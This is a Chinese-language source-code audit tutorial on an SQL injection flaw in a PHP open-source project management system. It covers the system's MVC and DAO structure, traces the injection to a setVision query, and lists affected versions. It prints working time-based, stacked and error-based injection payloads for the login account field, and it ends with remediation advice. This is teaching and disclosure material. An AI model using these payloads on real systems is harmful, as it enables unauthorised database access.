某开源系统SQL注入漏洞源码分析
字数 1649 2025-08-11 08:36:11
某开源系统SQL注入漏洞源码分析与教学文档
1. 系统概述
1.1 系统简介
- 开发语言:PHP + MySQL
- 系统类型:专业开源项目管理软件
- 主要功能:产品管理、项目管理、测试管理、人员管理、发布管理、事务管理
- 特点:操作简洁高效,统计报表丰富多样,软件架构拓展灵活
1.2 系统架构
- 基于B/S架构开发
- 支持MVC(Model-View-Controller)模式:
- Model:程序功能、数据管理和数据库设计
- Controller:转发用户请求,处理业务逻辑
- View:数据渲染和图形界面呈现
1.3 系统运行流程
- 请求通过Apache服务转交给
/xxx/www/index.php - index.php加载框架文件,初始化应用
- 解析URI请求,获取模块名、方法和参数
- 示例URL:
http://<ip:port>/xxx/testcase-browse-1.html- 模块名:testcase
- 方法名:browse
- 参数:1
- 示例URL:
- 加载相应模块的control和model方法
- 渲染view文件呈现给用户
2. 数据库操作机制
2.1 DAO类
- 定义位置:
/lib/dao/dao.class.php - 系统启动时自动生成
$this->dao对象 - 可在control、model和view层直接使用
2.2 常用方法
- 查询数据:使用fetch系列方法
$this->dao->select('*')->from(TABLE_CASE)->where('deleted')->eq(0)->fetchAll('id'); - 插入数据:使用exec方法
$this->dao->insert(TABLE_CASE)->data($case)->autoCheck()->exec();
3. 目录结构分析
3.1 主目录结构
api/ # 接口目录
bin/ # 命令行脚本
config/ # 主配置文件和数据配置文件
db/ # 数据库升级脚本和建库脚本
doc/ # 系统文档
framework/ # 框架核心目录(router, control, model, helper)
lib/ # 常用类文件(html, js, css, DAO, 数据验证等)
module/ # 功能模块(每个模块一个目录)
sdk/ # PHP SDK类
tmp/ # 运行时临时文件(如日志)
www/ # 样式表、js、图片和入口程序index.php
3.2 模块目录结构
config.php # 模块专用配置(可覆盖全局配置)
lang/ # 多语言文件(zh-cn.php, en.php, zh-tw.php)
control.php # 控制器类文件
model.php # 业务逻辑类文件
view/ # 视图文件(如index.html.php)
4. 漏洞分析
4.1 漏洞概述
- 漏洞类型:SQL注入
- 漏洞位置:account参数未过滤校验,直接拼接到SQL查询语句
- 影响版本:
- 开源版:16.5, 16.5beta1
- 企业版:6.5, 6.5beta1
- 旗舰版:3.0, 3.0beta1
4.2 漏洞定位过程
4.2.1 登录流程分析
-
登录界面URL:
http://127.0.0.1/xxx/user-login-L3plbnRhby8=.html- 模块:user
- 方法:login
- 参数:L3plbnRhby8=
-
登录验证流程:
- 检查账号是否已登录
- 从POST/GET获取账号密码
- 删除account两端的空白字符和预定义字符
- 检查账号是否锁定
- 调用user模块model中的identify函数验证
4.2.2 关键代码分析
-
DAO查询代码:
$record = $this->dao->select('*')->from(TABLE_USER) ->where('account')->eq($account) ->beginIF(strlen($password) < 32) ->andWhere('password')->eq(md5($password))->fi() ->andWhere('deleted')->eq(0) ->fetch(); -
实际生成的SQL:
SELECT * FROM `zt_user` WHERE account = 'admin\' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b' AND deleted = '0'
4.2.3 真正注入点
-
位置:
framework/base/router.class.php中的setVision函数 -
关键代码:
$vision = $this->dao->select('value')->from(TABLE_CONFIG) ->where('owner')->eq($account) ->andWhere('`key`')->eq('vision') ->fetch('value'); -
实际注入SQL:
SELECT * FROM `zt_config` WHERE owner = 'admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b' AND `key` = 'vision' LIMIT 1
4.3 漏洞验证
4.3.1 测试环境搭建
- 下载16.5版本一键安装包
- 解压后运行start.exe启动系统
- 访问首页登录界面
4.3.2 注入测试
-
延迟注入测试:
- Payload:
admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b - 响应时间约5秒,确认存在注入
- Payload:
-
堆叠注入测试:
- Payload:
admin';select sleep(5)# - 响应时间约5秒,确认存在堆叠注入
- Payload:
-
报错注入测试:
- Payload:
admin' AND GTID_SUBSET(CONCAT(0X71716b7171,(SELECT (ELT(8194=8194,1))),0X716a7a6a71),8194)-- uhUZ - 返回数据库错误信息,确认存在报错注入
- Payload:
5. 漏洞修复建议
- 官方修复:升级到最新版本
- 临时修复方案:
- 对account参数进行严格过滤和转义
- 使用预处理语句替代直接SQL拼接
- 在router.class.php中添加参数校验逻辑
6. 教学总结
6.1 关键学习点
- MVC架构下的代码审计方法:理解control、model和view的分工
- DAO数据库操作模式:识别直接SQL拼接的风险点
- 多层级注入点定位:从表面功能追踪到实际漏洞位置
- 多种注入技术验证:时间盲注、堆叠注入和报错注入
6.2 审计技巧
- 关注用户输入直接拼接到SQL语句的位置
- 特别检查DAO操作中的where条件拼接
- 注意框架初始化过程中的数据库操作
- 使用全局搜索定位关键SQL拼接代码
6.3 防御建议
- 对所有用户输入进行严格过滤和转义
- 使用参数化查询或ORM框架
- 实现最小权限原则,限制数据库账户权限
- 定期进行代码安全审计和渗透测试